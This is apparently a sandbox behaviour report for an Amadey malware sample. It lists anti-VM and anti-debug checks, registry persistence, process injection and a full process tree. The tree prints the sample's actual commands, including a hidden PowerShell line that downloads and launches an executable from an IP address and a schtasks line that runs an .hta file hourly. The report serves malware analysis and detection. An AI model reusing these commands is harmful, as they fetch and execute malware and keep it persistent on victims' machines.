amadey | ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1j62P6.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2h2476.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3O88U.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
39	1040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4216	powershell.exe
1564	powershell.exe
4324	powershell.exe
1040	powershell.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1j62P6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2h2476.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3O88U.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3O88U.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1j62P6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2h2476.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	1j62P6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	4p366f.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 9 IoCs

pid	Process
1016	R3g98.exe
1704	q5q81.exe
2348	1j62P6.exe
3676	skotes.exe
3744	2h2476.exe
1896	3O88U.exe
1988	4p366f.exe
4200	skotes.exe
1404	skotes.exe

Identifies Wine through registry keys 2 TTPs 6 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	2h2476.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	3O88U.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Wine	1j62P6.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	R3g98.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	q5q81.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
2348	1j62P6.exe
3676	skotes.exe
3744	2h2476.exe
1896	3O88U.exe
4200	skotes.exe
1404	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1j62P6.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1720	1896	WerFault.exe	88

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2h2476.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3O88U.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4p366f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	R3g98.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	q5q81.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1j62P6.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	3O88U.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	3O88U.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2516	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3916	schtasks.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2348	1j62P6.exe
2348	1j62P6.exe
3676	skotes.exe
3676	skotes.exe
3744	2h2476.exe
3744	2h2476.exe
1896	3O88U.exe
1896	3O88U.exe
1896	3O88U.exe
1896	3O88U.exe
4324	powershell.exe
4324	powershell.exe
4216	powershell.exe
4216	powershell.exe
1564	powershell.exe
1564	powershell.exe
1040	powershell.exe
1040	powershell.exe
4200	skotes.exe
4200	skotes.exe
1404	skotes.exe
1404	skotes.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	4216	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2348	1j62P6.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 2420 wrote to memory of 1016	2420	ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe	83
PID 2420 wrote to memory of 1016	2420	ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe	83
PID 2420 wrote to memory of 1016	2420	ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe	83
PID 1016 wrote to memory of 1704	1016	R3g98.exe	84
PID 1016 wrote to memory of 1704	1016	R3g98.exe	84
PID 1016 wrote to memory of 1704	1016	R3g98.exe	84
PID 1704 wrote to memory of 2348	1704	q5q81.exe	85
PID 1704 wrote to memory of 2348	1704	q5q81.exe	85
PID 1704 wrote to memory of 2348	1704	q5q81.exe	85
PID 2348 wrote to memory of 3676	2348	1j62P6.exe	86
PID 2348 wrote to memory of 3676	2348	1j62P6.exe	86
PID 2348 wrote to memory of 3676	2348	1j62P6.exe	86
PID 1704 wrote to memory of 3744	1704	q5q81.exe	87
PID 1704 wrote to memory of 3744	1704	q5q81.exe	87
PID 1704 wrote to memory of 3744	1704	q5q81.exe	87
PID 1016 wrote to memory of 1896	1016	R3g98.exe	88
PID 1016 wrote to memory of 1896	1016	R3g98.exe	88
PID 1016 wrote to memory of 1896	1016	R3g98.exe	88
PID 2420 wrote to memory of 1988	2420	ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe	98
PID 2420 wrote to memory of 1988	2420	ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe	98
PID 2420 wrote to memory of 1988	2420	ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe	98
PID 1988 wrote to memory of 1796	1988	4p366f.exe	101
PID 1988 wrote to memory of 1796	1988	4p366f.exe	101
PID 1796 wrote to memory of 2516	1796	cmd.exe	104
PID 1796 wrote to memory of 2516	1796	cmd.exe	104
PID 1796 wrote to memory of 4308	1796	cmd.exe	105
PID 1796 wrote to memory of 4308	1796	cmd.exe	105
PID 4308 wrote to memory of 4324	4308	cmd.exe	106
PID 4308 wrote to memory of 4324	4308	cmd.exe	106
PID 1796 wrote to memory of 2036	1796	cmd.exe	107
PID 1796 wrote to memory of 2036	1796	cmd.exe	107
PID 2036 wrote to memory of 4216	2036	cmd.exe	108
PID 2036 wrote to memory of 4216	2036	cmd.exe	108
PID 1796 wrote to memory of 2020	1796	cmd.exe	111
PID 1796 wrote to memory of 2020	1796	cmd.exe	111
PID 2020 wrote to memory of 1564	2020	cmd.exe	112
PID 2020 wrote to memory of 1564	2020	cmd.exe	112
PID 1796 wrote to memory of 3916	1796	cmd.exe	113
PID 1796 wrote to memory of 3916	1796	cmd.exe	113
PID 1796 wrote to memory of 1816	1796	cmd.exe	114
PID 1796 wrote to memory of 1816	1796	cmd.exe	114
PID 1816 wrote to memory of 1040	1816	mshta.exe	115
PID 1816 wrote to memory of 1040	1816	mshta.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe
"C:\Users\Admin\AppData\Local\Temp\ddf0314727aba840a769a2baeee4b053f6ac454a6242415a5a92f80b241b6677.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\R3g98.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\R3g98.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\q5q81.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\q5q81.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1704
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1j62P6.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1j62P6.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2348
    - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3676
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2h2476.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2h2476.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3744
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3O88U.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3O88U.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1896
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 1552
      4⤵
      Program crash
      PID:1720
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4p366f.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4p366f.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\313C.tmp\313D.tmp\313E.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4p366f.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1796
  - - C:\Windows\system32\timeout.exe
      timeout /t 2
      4⤵
      Delays execution with timeout.exe
      PID:2516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4308
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2036
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2020
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1564
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "S92B7maTwaj" /tr "mshta \"C:\Temp\F37Zmul2R.hta\"" /sc minute /mo 60 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3916
  - - C:\Windows\system32\mshta.exe
      mshta "C:\Temp\F37Zmul2R.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1816
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1896 -ip 1896
1⤵
PID:4472

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4200

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion